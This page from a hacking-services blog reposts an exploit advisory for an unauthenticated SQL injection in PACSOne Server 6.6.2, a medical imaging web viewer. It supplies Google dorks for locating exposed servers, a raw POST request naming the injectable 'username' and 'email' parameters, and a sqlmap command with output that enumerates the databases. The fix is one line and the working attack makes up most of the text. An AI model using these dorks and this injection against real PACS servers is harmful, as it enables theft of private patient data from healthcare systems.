Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86369098

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: PACSOne Server 6.6.2 DICOM Web Viewer SQL Injection
# Date: 08/14/2017
# Software Link: http://www.pacsone.net/download.htm
# Version: PACSOne Server 6.6.2
# Exploit Author: Carlos Avila
# Google Dork: inurl:pacs/login.php	inurl:pacsone/login.php		inurl:pacsone filetype:php home		inurl:pacsone filetype:php login
# Category: webapps
# Tested on: Windows 7 / Debian Linux
# Contact: http://twitter.com/badboy_nt

1. Description
  
DICOM Web Viewer is a component written in PHP. In version 6.6.2, it is vulnerable to SQL Injection. This allows unauthenticated remote attacker to execute arbitrary SQL commands and obtain private information. Admin credentials aren't required.
The 'username' and 'email' parameters via POST are vulnerable.

Found: 08/14/2017
Last Vendor Reply & Fix: 09/28/2017
  
2. Proof of Concept


POST /pacs/userSignup.php HTTP/1.1
Host: 192.168.6.105
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:54.0) Gecko/20100101 Firefox/54.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: application/x-www-form-urlencoded
Content-Length: 206
Referer: http://192.168.6.105/pacs/userSignup.php?hostname=localhost&database=dicom
Cookie: PHPSESSID=k0ggg80jcl6m61nrmp12esvat2
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

hostname=localhost&database=dicom&username=test&password=22222222&firstname=test&lastname=test&email=test&action=Sign+Up


root@kali18:~# sqlmap -r pacsone_local -v 2 -f -p email --dbms mysql –dbs

web server operating system: Windows
web application technology: Apache 2.4.23, PHP 5.6.25
back-end DBMS: active fingerprint: MySQL >= 5.5.0
               comment injection fingerprint: MySQL 5.7.14
               html error message fingerprint: MySQL
[20:09:33] [INFO] fetching database names
[20:09:33] [INFO] the SQL query used returns 2 entries
[20:09:33] [INFO] retrieved: information_schema
[20:09:33] [INFO] retrieved: dicom
[20:09:33] [DEBUG] performed 3 queries in 0.11 seconds
available databases [2]:
[*] dicom
[*] information_schema


3. Solution:

Application inputs must be validated correctly.